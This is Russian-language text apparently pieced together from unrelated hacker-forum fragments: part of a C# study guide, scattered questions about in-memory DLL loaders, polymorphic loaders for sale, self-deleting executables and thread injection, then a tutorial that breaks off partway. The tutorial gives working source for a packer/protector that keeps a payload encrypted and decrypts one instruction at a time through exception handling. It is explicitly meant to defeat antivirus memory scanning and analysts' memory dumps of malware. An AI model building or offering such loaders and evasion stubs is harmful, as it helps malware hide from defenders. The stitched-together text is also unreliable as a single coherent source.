В качестве альтернативы можно попробовать проходить бесплатные курсы, коих
в интернете не мало, а так же..
Simple Code
YouTube
Пожалуй это лучшее, что я находил для изучения. Все темы короткие, есть
домашние задания. Видео все бесплатные. Опять же ввиду того, что темы
короткие, приходится искать дополнительные источники. Но это мастхев для
начинающего шарписта. Всем советую.
Марк Прайс. C# 10 и .NET 6.
OZON
Достаточно не плохо написано. В книге рассказывается как основной синтаксис,
так и работа с базой данных и несколькими библиотеками, получается, что книга
закрывает сразу несколько потребностей, но так же и имеет свои минусы: Она
очень большая, а переплет мягкий, читать ее не удобно. Много тем написаны
"голопам по европам", хочется получить больше информации, а нет, автор так не
считает, поэтому будете довольствоваться, тем, что имеете. Перевод так себе,
так что если вы знаете английский - лучше читайте англоязычную версию.
Джеффри Рихтер. CLR via C#
OZON
Многие ее называют "Библия C#" (и эта не та библия, которая названа в первом
пункте). В этой книге рассказывается как работает C# под капотом, почему
происходит так , а не иначе, во что превращается ваш код после компиляции.
Любой уважающий себя шарпист хоть раз ее читал. Однако это будет очень сложная
книга для новичка, скорее она предназначена "для тех, кто в теме". Нет смысла
от того, что вы знаете язык, если не знаете как он работает. Лично проверено,
что работодатели респектуют тем, кто ее читал. И шансы попасть на работу
гораздо выше. Однако, эта книга ОЧЕНЬ старая , но прочитать вы ее обязаны, так
как фундаментальные знания не меняются, лишь добавляются новые фичи. Не
рекомендую начинать с нее, так для совсем 0 будет не понятно и казаться все
нереально сложным.
Эндрю Лок. ASP.NET Core в действии.
OZON
Здесь описывается создание веб приложений на языке C# , рекомендую изучать
данную вместе со следующей
Джон Смит. Entity Framework в действии
OZON
Вся книга направлена на использование одноименной библиотеки ORM для работы с
базой данных. Данная ORM , используется во многих организациях, поэтому
настоятельно рекомендую ее изучать.
Где практиковаться?
Я хочу выделить 3 основных направления для получения практики:
1. Пет проекты. Ничто не мотивирует лучше как личная необходимость.
Придумайте для себя проект, соответствующий вашему направлению, брут, чекер, и
так далее и пытайтесь его написать. Мой первый проект был - накрутчик
просмотров на твиче, кривой и косой, но я на нем получал опыт. Пусть этот
проект затянется на долго, вас никто не торопит, самое главное, что вы
получите колоссальные знания, каждый раз добавляя в ваш проект, что нибудь
новое или улучшая предыдущие наработки.
2. Биржа фриланса. Как бы смешно не звучало, но это отличное место, чтобы получить опыт. Как это работает. Не стоит брать проект сразу. Прочитайте его, поймите, что требуется сделать и делайте это, если успели сделать до того как кто то уже перехватил задачу - пробуйте заработать. Этот вариант подходит для тех ,кто не знает, что написать. А так вы получаете опыт, и есть шанс заработать не большую денежку
3. Официальная работа. Не думайте, что после начального обучения вас возьму
за 300к в секунду в майкрософт, генеральным директором генерального директора,
но вполне вероятно можно найти работу стажером. Множество компаний согласятся
вас взять на работу за условные 30-50 т.р. на позицию стажера. Согласен,
деньги не большие, НО вы общаетесь с сеньорами , получаете очень мощный буст в
своих скилах, и если все хорошо, то вполне вероятно, что через год вас повысят
до джуна и дадут прибавку к ЗП. А дальше выбирать вам. Качаться до мидла или
переходить в другую компанию для нового буста. Не это ли счастье? Этот способ
самый действенный, однако, чтобы устроится даже стажером необходимо иметь
какие никакие знания. Так что книгу в зубы и вперед покорять горы.
А что дальше?
После того как вы изучили базу, нашли самую первую работу. Вам остается только
оттачивать свое мастерство. На этом этапе вы вполне себе самостоятельный
разработчик, можете брать реальные заказы на фрилансе, писать и продавать
софт, или устроится на официальную работу и получать 300к в секунду.
Если не начнешь сегодня - не начнешь уже никогда.
С радостью отвечу на ваши вопросы.
Получать команду в json формате ->
там ссылка на длл и аргументы запуска ->
бот принимает, качает модуль -> запускает функцию из длл в памяти ->
освобождает буффер длл и так по кругу.
Концепт нормальный? Как можно улучшить?
Пишу для себя и продажи нерезидентный лоадер с полиморфной мутацией кода,
инжектами и легитимностью. Есть на такое спрос или это заведомо мертвый
проект?
В продаже нерезидентных лоадеров нет (и резидентных толком тоже).
подскажите реализацию.. на C#\C++
..... исходники или статейки подойдут...
нормального ничего найти не могу
Собственно задача состоит в том, чтобы exe файл самоуничтожился. Как можно реализовать на с++?
Кто какие использует?
Уважаемые пользователи,я новичок как на этом форуме так и в программировании.
Помогите советом,как защитить исходной код написанный на C# От
декомпиляции,как защитить программу от просмотра кода.
Не кидайтесь тапками и не посылайте в гугл (Я там уже был и не один раз).
множество легко снимается другими аналогами.
облазил пол инета. ничего несмог найти.
надо просто генерить текст в проге, точнее набор букв(маленькие и большие)
мне на ум прихит тока руками забить массив и оттуда дергать символы. у кого
какие мысли есть или сорец
Что лучше использовать? RtlCreateUserThread или NtCreateThread?
Всем привет, хотелось бы узнать на сколько актуальна статья. Есть ли смысл изучать в 2024? Вирусы под винду все также пишутся на С? Или появилось что-то новое?
Привет, любознательные мои! Сегодня мы с вами возьмем, да и слепим из говна и палок своего рода «софтварный анклав» (с) или же «полноценный антидамп» (с) для x86-кода под Вендой (хотя для x64 должно работать так же с минимальными изменениями). Это будет не то, чтобы убер-технология для всяких пакеров и протекторов, или же хотя бы чуточку практичная технология в том виде, в котором мы будем ее рассматривать, но мне кажется, что будет интересно. Ведь от пруф оф концепта до практичной технологии чуть меньше шагов, чем от ничего до практичной технологии. И да, конкретно эта моя реализация никоим образом (кроме концептуально-идейной составляющей) не относится к «софтварному анклаву» (с) всяких там элитных спецов, о которых вы могли слышать. У них там своя эльфийская магия. Ну да ладно.
Содержание:
1. Введение
2. Обзор технологии
3. Разработка крекмиши
4. Разработка генератора стабов
5. Разработка кода стаба
6. Заключение
1. Введение
Что же мы будем подразумевать под «софтварным анклавом»? Далее будет небольшая справочка по Intel SGX, кто в курсе, можете этот абзац пропустить. Тем более, что Intel SGX — не бро, а говно и палки — наше всё. В общем… есть такая замечательная технология Intel SGX. Предназначена она для того, чтобы производить безопасные вычисления в потенциально опасной среде. Например, представим, что вы некая компания, которая хочет «хранить свои секретики» (и свои разработки) подальше от чужих глаз. Потому, что вы разработали убер важный для компании и убер успешный алгоритм или целую программу. Вы хотите его/ее преподнести миру, но при этом заработать денежку и не позволить вашим конкурентам с помощью злых реверсеров анализировать и создавать аналоги вашего убер-алгоритма/программы, ну и зарабатывать таким образом на вас деньги. Было бы здорово запустить вашу программу в виде сервиса в интернете, например, на какой-то из облачных платформ. Но сервис в интернете — это ни разу не доверенная среда, его могут подломать злые рашн хакерс и выкачать все ваши секретики, которые вы так хотели хранить при себе. На выручку в этом случае может прийти технология Intel SGX. Она на аппаратном уровне создает защищенную область данных и кода — «анклав», при этом этот самый анклав защищен в том числе и от ядра операционной системы, то есть все гипер пупер безопасненько (ну кроме уязвимостей самой технологии, которые уже были опубликованы). Ваши ценные код/данные/секретики будут существовать и функционировать в защищенной области (анклаве), в которую извне можно только передать входные данных и получить результат вычислений обратно. Выкусите, господа ваши конкуренты со своими злыми рашн хакерс и реверсерс.
К сожалению, все было бы так просто, если бы не было так сложно. Поддержка Intel SGX есть далеко не везде, внутри анклава может существовать далеко не каждый код (например, вызывать API-функции операционной системы и сисколлы невозможно, насколько я это понимаю). Так вот в один прекрасный исторический момент воспаленный разум одного широко известного в узких кругах спеца породил идею сделать своего рода программную эмуляцию того, как работает аппаратная технология Intel SGX. То есть концептуально содержать важный код и данные в некоей защищенной (защифрованной) области — анлаве, но при этом каким-то образом его исполнять. Так появился термин «софтварный анклав». Этот термин был не очень удачным, так как многие подумали, что имеется ввиду Intel SGX, ведь технология в самом своем названии несет слово «софтварный» (SGX — Software Guard Extensions), хотя и немного в другом смысле. Повинуясь воли спеца, в дальнейшем мы будем называть «софтварным анклавом» именно программную эмуляцию «аппаратных анклавов» (Intel SGX и мелкомягких VBS — Virtualization Based Security, а не VBScript, о котором вы подумали).
Для чего это может понадобиться нам с вами? Мы, конечно же, не всякие там компании, но у нас тоже есть свои «секретики». Ну во-первых, мы можем таким образом усложнить жизнь реверсеру, который будет наш код анализировать. Безусловно, достаточно скилловые и целеустремленные реверсеры рано или поздно все равно добьются своего, поэтому, как и при обфускации кода, непреодолимой защиты быть не может, но подзаебать реверсера таким образом мы можем. Во- вторых, в это жестоком мире существуют аверы (антивирусы) с фетишом на периодические сканирования виртуальной памяти процессов. В теории «софтварный анклав» доставил бы им некоторое количество хлопот с детектом защищенного кода. В-третьих, часто «дятлы» (это - не обидный термин, их и правда так называют в их антивирусных компаниях) для снятия протектора с малвари просто ждут, когда малварь будет запущена в памяти процесса протектора, делают дамп виртуальной памяти процесса и уже из дампа извлекают малварь на анализ. Так вот «софтварный анклав» в этом смысле может считаться «полноценным антидампом», так как в дампе нашего защищенного кода не будет в открытом виде.
Конечно, программная эмуляция, как бы мы ее не реализовывали, всегда будет уступать по своей секьюрности и качеству проработки аппаратной, сделанной умными дядьками из крупных компаний. Конкретно реализация из этой статьи базируется на VEH (обработке векторных исключений) и инструкции INT3 (debug break — программной точки останова для отладки). В теории из этой базовой технологии можно было бы сделать качественный и применимый на практике продукт, но «делать этого мы конечно же не будем», поскольку это потребовало бы решения кучи подводных камней — такой, которую в одной статье не разгрести. Поэтому мы просто рассмотрим технологию на базовом уровне, а потом реализуем ее в виде небольшой крекмиши (crackme), которую я делал для того, чтобы в очередной раз быть облитым желчью и гуаном (говно летучей мыши) на форуме спецов реверсеров (не спрашивайте, зачем, это мой крест и мне его нести, у самурая нет цели, есть только путь).
Важно еще отметить, что я буду опускать некоторые понятные и общие для всех пакеров и/или протекторов вещи, которые были обмусолены вдоль и поперек в других статьях нашего уютненького комьюнити. Если что-то не понятно, спрашивайте в комментариях к статье, постараюсь либо объяснить, либо кинуть ссылку на статью, если смогу ее найти (хотя не очень дружу с местным поиском).
Ну и да, представленный ниже код не претендует на истину в последней инстанции, может иметь баги, вызывать нозальных демонов и так далее. Всегда готов и рад услышать здравую критику или какие-либо идеи по улучшению представленного ниже кода. Критикуя — предлагайте свои решения и идеи, в спорах рождается истина, если спор имеет хоть какой-то смысл. Ну давайте начинать.
2. Обзор технологии
Итак, для решения задачи «софтварного анклава» я предлагаю вам держать весь наш защищаемый код зашифрованным все время и в цикле расшифровывать и исполнять по одной инструкции. То есть в единицу времени в виртуальной памяти процесса, исполняющего наш защищенный код, из всего этого защищенного кода может быть только одна инструкция в открытом виде. Конечно, у такого подхода будет ряд недостатков, о которых мы подумаем в конце статьи, но надо же с чего-то начинать.
Это штуковину можно сделать несколькими способами вплоть до создания виртуальной машины для исполнения кода (вы же ждете статью на эту тему?). Я же предлагаю сделать следующим образом. Мы напишем протектор, который будет загружать полезную нагрузку в виртуальную память текущего процесса, как это обычно бывает, но вместо секции .text (секции исполняемого кода) у нас будет большая портянка из байта 0xCC (инструкции INT3, она же debug break). Инструкция INT3 вызывает исключение (программную ошибку), когда процессор на нее «наступает». Мы можем отловить это исключение, получить адрес инструкции INT3 из контекста потока, расшифровать на место инструкции INT3 одну инструкцию защищаемого кода и продолжить исполнение. Таким образом, мы выполним только одну инструкцию, а исполнение снова прервется на следующей за инструкцией INT3. Конечно, прежде чем расшифровывать следующую инструкцию, нужно будет «залить» предыдущую инструкцию байтами 0xCC для того, чтобы в единицу времени в памяти у нас была расшифрована только одна инструкция.
Отлавливать исключения мы будем с помощью векторной обработки исключений, она же VEH. Это просто и довольно легко реализуется. Кроме того, нам понадобится еще и дизассемблер длин для того, чтобы определить, сколько байт нам нужно расположить в секции текста при расшифровке инструкции. Благо в операционную систему мелкомягких давно встроен приемлемый дизассемблер в библиотеке dbgeng.dll, ну вы, наверное, об этом уже читали в одной из моих предыдущих статей. Этот дизассемблер еще и умеет выводить красивую читаемую строку из байтов инструкции, что пригодится нам при отладке. Например, если при исполнении инструкции будет возникать исключение, которое мы не ожидаем увидеть.
3. Разработка крекмиши
Для начала нам нужно разработать небольшую тестовую программу, которую мы затем будем защищать своим «анклавом». Я предлагаю сделать вот что: программа будет считывать пароль пользователя из stdin, хешировать его каким-то предельно простым алгоритмом, а затем сравнивать с эталонным значением. Своего рода классический крекми, рассмотрим код:
C++:Copy to clipboard
#include <windows.h>
constexpr DWORD cp_hash_string(LPCSTR str, DWORD seed) {
DWORD result = seed;
for(INT i = 0; str[i] != '\0'; i++) {
DWORD v1 = result * 0xab10f29f;
DWORD v2 = v1 + str[i];
result += v2 & 0xffffff;
}
return result;
}
const DWORD hash_seed = cp_hash_string(__DATE__ __TIME__, 0);
const INT buffer_size = 256;
static HANDLE stdout = INVALID_HANDLE_VALUE;
static HANDLE stdin = INVALID_HANDLE_VALUE;
VOID init_std_handles() {
stdout = GetStdHandle(STD_OUTPUT_HANDLE);
stdin = GetStdHandle(STD_INPUT_HANDLE);
}
VOID write_line(LPCSTR line) {
DWORD written = 0; INT length = lstrlenA(line);
WriteConsoleA(stdout, line, length, &written, NULL);
WriteConsoleA(stdout, "\n", 1, &written, NULL);
}
VOID read_line(LPSTR buffer, INT length) {
for(INT i = 0; i < length; i++) {
CHAR chr = 0; DWORD read = 0;
if(!ReadConsoleA(stdin, &chr, 1, &read, NULL))
{ break; }
if(chr == '\n' || chr == '\r')
{ buffer[i] = '\0'; break; }
else { buffer[i] = chr; }
}
}
extern "C" void entry_point() {
init_std_handles();
write_line("Enter password, bro: ");
CHAR password[buffer_size];
read_line(password, buffer_size);
DWORD hash = hash_seed;
for(INT i = 0; password[i] != '\0'; i++) {
DWORD v1 = hash * 0xab10f29f;
DWORD v2 = v1 + password[i];
hash += v2 & 0xffffff;
}
if(hash == cp_hash_string("TestDatAntidumpShit", hash_seed)) {
write_line("Password is valid, bro!");
write_line("You are real cracker, bro!");
} else {
write_line("Password is invalid, bro!");
write_line("Better luck next time, bro!");
}
ExitProcess(0);
}
Подключаем вендовый заголовок и поехали кодить. Constexpr функция cp_hash_string реализует простой алгоритм хеширования строки с указанием зерна (стартового значения) для алгоритма. Поскольку она объявлена как constexpr, то она будет выполняться на этапе компиляции, а на ее место ее вызова в коде будет подставлено значение хеш функции от константной строки. Далее определяем две константы. Первая — уникальное зерно для алгоритма хеширования в зависимости от даты и времени компиляции. Вторая — размер буфера на стеке для строки, которую будет вводить пользователь. Затем обозначим две глобальные переменные, которые в процессе работы получат хендлы stdout и stdin соответственно. Функция init_std_handles получает и сохраняет хендлы stdout и stdin. Функция write_line записывает строку с stdout. Функция read_line считывает строку из stdin. Конечно, проделать эти операции можно было бы и функциями из CRT (типа printf и scanf), но мне хотелось, чтобы в этом семпле была только одна импортируемая библиотека — kernel32.dll (собирать его мы будем без зависимостей от CRT). Функция entry_point является точкой входа программы, в ней, собственно, все и происходит. Спрашиваем пользователя о пароле, получаем от него строку, хешируем строку и сравниваем с эталонным значением. В зависимости от результатов сравнения выводим пользователю, молодец он или нет. Теперь давайте собирать этот код в экзешничек:
Bash:Copy to clipboard
i686-w64-mingw32-gcc.exe -o payload.exe -fno-exceptions -fno-rtti -fno-ident -O3 -Os payload.cpp -fno-ident -s -Wl,--pic-executable -e_entry_point -nostdlib -lkernel32 -lmsvcrt
Как настоящий маргинал-нонконформист я использовал для сборки MinGW, но вы можете аналогичным образом собрать этот код с помощью Visual Studio или Clang, но постарайтесь, сделать это без зависимостей от CRT (для простоты в проекторе я опустил обработку всяких TLS’ов и других несуразностей, которые бывает тянутся за стандартными цешными библиотеками). Код написан на С++, но не использует никакие плюсовые фичи, которые тянут за собой CRT. И обратите внимание, что исполняемый файл нам нужен с релоками, таким образом его можно будет загружать в произвольное место в виртуальной памяти, он не будет привязан к одному адресу, который может быть уже занят на момент загрузки исполняемого файла протектором. По поводу релоков можно более подробно прочитать в других статьях, посвященных непосредственно PE-формату и загрузке экзешничков в память. Ну вроде все сказал, давайте переходить к разработке кода протектора.
4. Разработка генератора стабов
Чтобы не сильно заморачиваться, я решил сделать билдер для стабов нашего протектора на самом простом и понятном языке — на этом вашем Петоне. Из исполняемого файла билдер будет брать только те данные, которые в последствии понадобятся стабу для успешной загрузки нашего защищаемого кода (крекми). Для получения и извлечения этих данных я решил воспользоваться готовой библиотекой, которую можно поставить через pip, а именно — pefile (парсер PE- формата). Рассмотрим код генератора стабов:
Python:Copy to clipboard
import pefile
def encrypt_text_section(data: bytes) -> bytes:
result = bytearray()
for i in range(len(data)):
xor1 = result[i - 1] if i != 0 else 0
xor2 = ((42 + i) * 48271) & 0xFF
byte = (data[i] ^ xor2) & 0xFF
byte = (byte ^ xor1) & 0xFF
result.append(byte)
return result
def encrypt_section(index: int, data: bytes) -> bytes:
index = index * 48271
result = bytearray()
for i in range(len(data)):
xori = ((index + i) * 48271) & 0xFF
byte = (data[i] ^ xori) & 0xFF
result.append(byte)
return result
with open("payload.hpp", "w", encoding="utf-8") as fil:
pe = pefile.PE("payload.exe")
fil.write("#pragma once\n")
fil.write("#include <windows.h>\n\n")
image_base = pe.OPTIONAL_HEADER.ImageBase
size_of_image = pe.OPTIONAL_HEADER.SizeOfImage
entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint
section_count = len(pe.sections)
imports_dir = pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_IMPORT"]
imports_va = pe.OPTIONAL_HEADER.DATA_DIRECTORY[imports_dir].VirtualAddress
relocs_dir = pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_BASERELOC"]
relocs_va = pe.OPTIONAL_HEADER.DATA_DIRECTORY[relocs_dir].VirtualAddress
fil.write("const DWORD PayloadImageBase = 0x{0:08X};\n".format(image_base))
fil.write("const DWORD PayloadImageSize = {0};\n".format(size_of_image))
fil.write("const DWORD PayloadSections = {0};\n".format(section_count))
fil.write("const DWORD PayloadEntryPoint = 0x{0:08X};\n".format(entry_point))
fil.write("const DWORD PayloadImportsRVA = 0x{0:08X};\n".format(imports_va))
fil.write("const DWORD PayloadRelocsRVA = 0x{0:08X};\n".format(relocs_va))
fil.write("\n")
for i in range(len(pe.sections)):
data = pe.sections[i].get_data()
if i == 0: data = encrypt_text_section(data)
else: data = encrypt_section(i, data)
data = ["0x{0:02X}".format(x) for x in data]
data = ', '.join(data)
fil.write("static BYTE PayloadSection{0}Data[] = {{ {1} }};\n".format(i, data))
fil.write("\n")
pointers = ["PayloadSection{0}Data".format(i) for i in range(len(pe.sections))]
fil.write("static PBYTE PayloadSectionsData[] = {{ {0} }};\n\n".format(", ".join(pointers)))
sizes = [str(section.SizeOfRawData) for section in pe.sections]
fil.write("static DWORD PayloadSectionsSize[] = {{ {0} }};\n\n".format(", ".join(sizes)))
addresses = ["0x{0:08X}".format(section.VirtualAddress) for section in pe.sections]
fil.write("static DWORD PayloadSectionsRVA[] = {{ {0} }};\n\n".format(", ".join(addresses)))
Функции encrypt_text_section и encrypt_section используются для шифрования секции с кодом и других секций соответственно. Для секции с кодом я решил сделать технологию «блокчейн». Шучу. В общем для усложнения патчинга крекмиши каждый байт шифрованного кода зависит от предыдущего байта, то есть, если реверсер решит пропатчить 1 байт шифрованного кода, то ему нужно будет менять не один байт, а один байт и все байты после него. Остальные секции будут лежать в памяти в открытом виде, поэтому шифрование там не принципиально. Число 48271 — магическое, оно взято из minstd_rand стандарта C++11, чтобы получать шифрованные данные с хоть чуточку высокой энтропией. Но это не суть важно. Безусловно, тут можно было бы навернуть и нормального шифрования, но это вы сможете сделать в качестве домашнего задания, ведь это не является сутью текущей статьи.
Далее мы считываем файл payload.exe, скармливаем его библиотеке pefile и достаем оттуда: размер образа исполняемого файла в виртуальной памяти, базовый адрес по-умолчанию, смещение точки входа, смещения таблиц импорта и релоков, количество секций и данные всех секций. Из этих данных мы формируем файл payload.hpp, который затем подключим к основному файлу с кодом стаба. Секция .text в 99% случаев будет первой (как и в нашем случае), ей мы будем манипулировать отдельно от всех остальных в стабе. Я намерено избавился от всех ненужных нам заголовков PE-формата, поскольку отсутствие заголовков еще чуточку усложняет сам дампинг и разбор дампа с помощью всяческих интеллектуальных дизассемблеров. Ну давайте теперь переходить к самому интересному — коду стаба.
C++:Copy to clipboard
#pragma once
#include <windows.h>
const DWORD PayloadImageBase = 0x00400000;
const DWORD PayloadImageSize = 32768;
const DWORD PayloadSections = 7;
const DWORD PayloadEntryPoint = 0x00001116;
const DWORD PayloadImportsRVA = 0x00006000;
const DWORD PayloadRelocsRVA = 0x00007000;
static BYTE PayloadSection0Data[] = { /* ... */ };
static BYTE PayloadSection1Data[] = { /* ... */ };
static BYTE PayloadSection2Data[] = { /* ... */ };
static BYTE PayloadSection3Data[] = { /* ... */ };
static BYTE PayloadSection4Data[] = { /* ... */ };
static BYTE PayloadSection5Data[] = { /* ... */ };
static BYTE PayloadSection6Data[] = { /* ... */ };
static PBYTE PayloadSectionsData[] = { PayloadSection0Data, PayloadSection1Data, PayloadSection2Data, PayloadSection3Data, PayloadSection4Data, PayloadSection5Data, PayloadSection6Data };
static DWORD PayloadSectionsSize[] = { 512, 512, 512, 512, 512, 512, 512 };
static DWORD PayloadSectionsRVA[] = { 0x00001000, 0x00002000, 0x00003000, 0x00004000, 0x00005000, 0x00006000, 0x00007000 };
Вот так примерно будет выглядеть сгенерированный петоновским скриптом заголовочный файл. Все предельно просто. Нам нужен заголовочный файл windows.h для определения DWORD, BYTE и PBYTE типов. Каждая из секций полезной нагрузки была зашифрована и попала в свой отдельный статический массив байт. Для удобства указатели на все секции, их размеры и RVA (relative virtual address — смещение секции относительно базового адреса загруженного в виртуальную память исполняемого файла) хранятся в отдельных массивах. Остальные необходимые нам данные из PE-заголовков определены как константы.
5. Разработка кода стаба
Итак, код стаба. Наш стаб должен выделить буфер виртуальной памяти, достаточный, чтобы разместить в нем исполняемый файл, размер этого буфера определяет константа PayloadImageSize. Для простоты мы не сохраняли права доступа к секциям, а просто выделим большой блок памяти с правами на чтение, запись и исполнение. Это не очень хорошо в целом, но для нашего пруф оф концепта - достаточно. Затем наш стаб должен правильно расшифровать и расположить все секции исполняемого файла полезной нагрузки, кроме первой (секции .text — секции с кодом). Место секции .text стаб зальет инструкциями INT3 (байтом 0xCC). Затем стаб должен настроить таблицу импорта, добавить обработчик для VEH и начать исполнение с точки входа исполняемого файла. Расшифровку и подстановку инструкции по одной будет заниматься обработчик VEH исключений. Но давайте кодить это все постепенно, начнем с простых прикладных вещей:
C++:Copy to clipboard
#include <windows.h>
#include <dbgeng.h>
#include <stdio.h>
#include "payload.hpp"
#define DO_DEBUG 0
#define MAX_INS_SIZE 16
#define ERR(...) on_error(__LINE__, ##__VA_ARGS__)
VOID on_error(DWORD line, DWORD code = 0) {
if(code == 0) { code = GetLastError(); }
_printf_l("%d - %08X\n", 0, line, code);
ExitProcess(line);
}
Подключаем необходимые нам заголовочные файлы, включая payload.hpp. Определим макросы препроцессора: DO_DEBUG — собираем ли мы отладочную версию нашего кода или нет, а MAX_INS_SIZE — определяет максимально возможный размер инструкции x86 (на практике в коде полезной нагрузки не будет инструкций больше 12 байт длиной, но, насколько, я помню максимально возможная длина инструкции x86 равна 16, так что пусть будет 16 для порядка). Макрос ERR и функция on_error отвечают за обработку ошибок. В контексте данного пруф оф концепта, если что- то идет не по нашему плану, просто вываливаем код ошибки в консоль и прибиваем свой процесс вызовом ExitProcess.
C++:Copy to clipboard
static const IID IDebugClientGuid = { 0x27FE5639, 0x8407, 0x4F47, { 0x83, 0x64, 0xEE, 0x11, 0x8F, 0xB0, 0x8A, 0xC8 }};
static const IID IDebugControl3Guid = { 0x7DF74A86, 0xB03F, 0x407F, { 0x90, 0xAB, 0xA2, 0x0D, 0xAD, 0xCE, 0xAD, 0x08 }};
static IDebugClient* debug_client = NULL;
static IDebugControl3* debug_control = NULL;
BOOL debugger_attach_self() {
CoInitialize(NULL);
IDebugClient* client = NULL;
HRESULT res = DebugCreate(IDebugClientGuid, (LPVOID*)&client);
if(FAILED(res)) { ERR(res); return FALSE; }
IDebugControl3* control = NULL;
res = client->QueryInterface(IDebugControl3Guid, (LPVOID*)&control);
if(FAILED(res)) { ERR(res); return FALSE; }
ULONG flags = DEBUG_ATTACH_NONINVASIVE
| DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND;
DWORD pid = GetCurrentProcessId();
res = client->AttachProcess(0, pid, flags);
if(FAILED(res)) { ERR(res); return FALSE; }
res = control->WaitForEvent(DEBUG_WAIT_DEFAULT, INFINITE);
if(FAILED(res)) { ERR(res); return FALSE; }
debug_control = control;
debug_client = client;
return TRUE;
}
Помните, как я говорил, что нам понадобится дизассемблер длин? Мы могли бы статически слинковать какую-либо из существующих библиотек для этого, но зачем это делать, если в системе уже есть подходящий для нас дизассемблер длин. Мы уже рассматривали его в одной из моих предыдущих статей, но давайте я вкратце напомню, что и как. С помощью COM и библиотеки dbgeng.dll мы создаем отладочного клиента IDebugClient, запрашиваем у него интерфейс IDebugControl3, клиента подключаем к текущему процессу и обрабатываем все события, связанные с его подключением. В последствии у интерфейса IDebugControl3 нам будет доступен метод Disassemble, с помощью которого мы и будем получать длину инструкции, а в отладочном режиме и дизассемблерный листинг в виде ANSI-строки.
К слову сказать, изначально я хотел реализовать эту идею не через VEH, а непосредственно с помощью перехвата отладочных событий IDebugClient через SetEventCallbacks и класса, реализующего интерфейс IDebugEventCallbacks, но, к сожалению (как выяснилось), это будет работать только для нескольких процессов. То есть процесс не может сам генерировать отладочные события и их же отлавливать, а форкать для этого второй процесс показалось не гуд. Очень жаль, такое решение, если бы работало, то выглядело бы куда красивее. Ну что же, имеем то, что имеем. Поехали дальше.
C++:Copy to clipboard
VOID decrypt_text_section(DWORD index, PBYTE buffer, DWORD size) {
for(DWORD i = 0; i < size; i++) {
DWORD bpos = index + i;
DWORD xor1 = bpos != 0 ? PayloadSectionsData[0][bpos - 1] : 0;
DWORD xor2 = ((42 + bpos) * 48271) & 0xFF;
buffer[i] = PayloadSectionsData[0][bpos] ^ xor2;
buffer[i] = buffer[i] ^ xor1;
}
}
VOID decrypt_section(DWORD index, PBYTE buffer, DWORD size) {
for(DWORD i = 0; i < size; i++) {
BYTE xori = ((index * 48271 + i) * 48271) & 0xFF;
buffer[i] = PayloadSectionsData[index][i] ^ xori;
}
}
Сделаем функции для «расшифровки» наших «зашифрованных» секций. Они ровным счетом такие же, как и были реализованы в генераторе на этих ваших Петонах. Код тут должен говорить сам за себя, поэтому останавливаться на нем более не будем.
C++:Copy to clipboard
static LPVOID image = NULL;
BOOL fix_one_reloc(PBYTE address, DWORD inslen) {
auto ibr = (PIMAGE_BASE_RELOCATION)((PBYTE)image + PayloadRelocsRVA);
auto ofs = (PBYTE)image - PayloadImageBase;
typedef struct _IMAGE_RELOC {
WORD offset :12;
WORD type :4;
} IMAGE_RELOC, *PIMAGE_RELOC;
while(ibr->VirtualAddress != 0) {
auto list = (PIMAGE_RELOC)(ibr + 1);
while((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock) {
if(list->type == IMAGE_REL_BASED_HIGHLOW) {
auto pointer = (PBYTE)image + ibr->VirtualAddress + list->offset;
if(pointer >= address && pointer + sizeof(ULONG_PTR) <= address + inslen)
{ *(ULONG_PTR*)(pointer) += (ULONG_PTR)ofs; return TRUE; }
} else if(list->type != IMAGE_REL_BASED_ABSOLUTE)
{ ERR(); return FALSE; }
list++;
}
ibr = (PIMAGE_BASE_RELOCATION)list;
}
return TRUE;
}
В глобальной переменной image мы будем хранить базовый адрес, где именно в виртуальной памяти наш стаб расположит секции полезной нагрузки. Функция fix_one_reloc проходит секцию релоков целиком в поисках того, есть ли релок в нашей одной конкретной инструкции. Если он есть, она патчит инструкцию на действительный адрес, исходя из значения переменной image. Если его нет, инструкция остается неизменной. Я портировал этот код из проекта donut потому, что зачем переписывать с нуля то, что уже было более долбаной тысячи раз написано.
C++:Copy to clipboard
static PBYTE old_address = NULL;
static DWORD old_length = 0;
LONG WINAPI vectored_handler(PEXCEPTION_POINTERS exception) {
if(old_address != NULL && old_length != 0) {
for(DWORD i = 0; i < old_length; i++)
{ old_address[i] = 0xCC; }
old_address = NULL;
old_length = 0;
}
auto text_ptr = (PBYTE)image + PayloadSectionsRVA[0];
auto text_end = text_ptr + PayloadSectionsSize[0];
auto address = (PBYTE)exception->ContextRecord->Eip;
if(address < text_ptr) { ERR(); return EXCEPTION_BREAKPOINT; }
if(address > text_end) { ERR(); return EXCEPTION_BREAKPOINT; }
auto offset = (DWORD)(address - text_ptr);
auto bufsiz = (DWORD)(text_end - offset);
BYTE buffer[MAX_INS_SIZE];
if(bufsiz > MAX_INS_SIZE)
{ bufsiz = MAX_INS_SIZE; }
decrypt_text_section(offset, buffer, bufsiz);
CHAR disasm[128];
ULONG64 next = 0;
DWORD dislen = 0;
auto hres = debug_control->Disassemble((ULONG64)buffer, 0, disasm, 128, &dislen, &next);
if(FAILED(hres)) { ERR(); return EXCEPTION_BREAKPOINT; }
DWORD inslen = (DWORD)(next - (ULONG64)&buffer[0]);
#if DO_DEBUG
_printf_l("%p %d %s", 0, address, inslen, disasm);
#endif
for(DWORD i = 0; i < inslen; i++)
{ address[i] = buffer[i]; }
fix_one_reloc(address, inslen);
old_address = address;
old_length = inslen;
return EXCEPTION_CONTINUE_EXECUTION;
}
Теперь давайте реализуем обработчик VEH исключений. Нам нужно сохранять и получать адрес и размер предыдущей инструкции, для этого мы объявим две глобальные переменные: old_address и old_length. Поскольку у нас однопоточная полезная нагрузка, то это нормальное решение. Если нам было бы нужно поддерживать многопоточность, то эти данные можно было бы хранить в TLS (thread local storage), таким образом у всех потоков эти переменные были бы свои. Ну или настроить какую-либо синхронизацию потоков при установке и считывании этих переменных.
Обработчик VEH исключений (в нашем случае он называется vectored_handler) принимает указатель на структуру EXCEPTION_POINTERS, которая в свою очередь содержит указатель на контекст потока. Давайте думать о контексте потока, как о наборе значений регистров процессора в тот момент, когда произошло исключение. Ну не орите, я просто упрощаю некоторые вещи, чтобы не вдаваться в какие-то дебри, которые хорошо знать, но понимание их для статьи не так важно.
